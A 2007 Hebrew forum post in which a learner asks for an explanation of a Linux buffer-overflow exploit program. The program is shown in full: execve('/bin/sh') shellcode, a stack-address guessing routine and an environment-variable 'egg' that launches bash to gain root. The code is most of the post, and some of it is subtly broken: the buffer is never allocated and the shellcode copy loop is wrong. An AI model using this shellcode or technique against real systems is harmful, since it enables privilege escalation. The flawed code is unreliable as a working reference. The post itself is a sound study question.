נושא: שאלה | ניצול BOF בLINUX ע"י שאלל קוד שנכת
|
|
כותב |
|
דן אורח
הצטרף / הצטרפה: 01 October 2003
משתמש: אונליין הודעות: 12647
|
נשלח בתאריך: 30 November 2007 בשעה 12:44 | | IP רשוּם
|
|
|
|
קודם כל אני קורא ספר שעוסק בשאלל קוד לאחרונה, ונתקלתי בבעיה.
אני לא הבנתי כמה נקודות חשובות בספר אז לפני שאני ממשיך אני מקווה שמישהו יוכל לעזור לי פה ;]
אז ככה לא הבנתי כלכך את התוכנית הבאה:
קוד:
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc;
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
} |
|
|
השלבים שכן הבנתי זה הגדרת השאללקוד (SC)
אני יודע שזה קוד באסמבלי שתורגם להאקס.
ובקשר לפונקציה find_start
גם כן הבנתי מה היא עושה, היא מחזירה את הכתובת של המצביע של המחסנית.
מה שלא הבנתי זה ההמשך, מה שהתוכנית מנסה לעשות על מנת לקבל הרשאת
ROOT
ע"י ניצול של BOF.
אני אשמח אם מישהו יוכל לפרט לי את הקוד לעומק
תודה מראש ;]
|
חזרה לתחילת העמוד |
|
|
|
|
אם ברצונך להגיב לנושא זה עליך קודם להתחבר
אם אינך רשום/ה כבר עליך להרשם
|
אינך יכול/ה לשלוח נושאים חדשים בפורום זה אינך יכול/ה להגיב לנושאים בפורום זה אינך יכול/ה למחוק את הודעותיך ותגוביך בפורום זה אינך יכול/ה לערוך את הודעותיך ותגובותיך בפורום זה אינך יכול/ה לצור סקרים בפורום זה אינך יכול/ה להצביע בסקרים בפורום זה
|